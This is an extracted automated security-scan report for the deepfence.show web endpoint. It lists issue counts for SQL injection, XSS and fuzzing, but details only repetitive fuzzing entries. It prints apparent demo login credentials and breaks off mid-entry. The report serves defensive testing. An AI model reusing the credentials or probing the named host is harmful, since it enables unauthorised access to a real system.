Project: ThreatMapper (Provisioning / Security & Compliance)
File: Security Report for Security Test 1 2021-04-15 16_58_06.pdf

Issues report for Security Test 1
in Project 8/Security Test Suite 1/https://deepfence.show TestCase
Summary
Started at 2021-04-15 16:58:06
Time taken 00:17:01.312
Total scans performed: 2042
Issues found: 1990
Scan Issues Found In Test StepsTotal Issues 
Found
Fuzzing Scan GET 100 100
XPath Injection GET 20 20
HTTP Method 
FuzzingGET 10 10
Cross Site 
ScriptingGET 184 184
SQL Injection GET 1626 1626
Invalid Types GET 50 50
Detailed Info
Issues are grouped by Security scan.
Fuzzing Scan
A Fuzzing Security Scan generates random content and inserts it into your parameters, trying to 
cause your API to behave incorrectly or reveal sensitive data.
Errors usually indicate that you have to improve input validation and error handling.
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Valuedemouser@
deepfence.iooEVuz2MMq
DemoUser1# AdFI9GIn9CZISDk
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #1
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioe9mrACMGj6lTE
DemoUser1# xOkdLrOurs
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #2
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioKySswxz52XNt3L
DemoUser1# HBGAPH
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #3
Scan Fuzzing ScanSeverity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioHo8wDIZDRrB
DemoUser1# giEB3qIG
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #4
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioKfbvdhuBJrFp
DemoUser1# 78N7ONTZJ6W20Lc
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #5
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioYRptVJaH
DemoUser1# kXfPy
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #6
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioVEWO7aYX1rv
DemoUser1# fthpI
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #7
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.iokx6rMqGCgS9D9DemoUser1# Ul8eOPaXYK
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #8
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.iozql7nyB8wymh3jK
DemoUser1# h8JyZ44P
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #9
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioSJm1h2
DemoUser1# hmssHvCAyqjyR
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #10
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioEG0edK
DemoUser1# HDApr1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #11
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.iodhrYvT
DemoUser1# x0qlIO
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #12
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.iocrVfn
DemoUser1# xZNux1699ns
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #13Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.iogLoCWIng93
DemoUser1# Kw8GV9P7jzAglr
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #14
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.iont9CNVgkjwS
DemoUser1# DeaxB1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
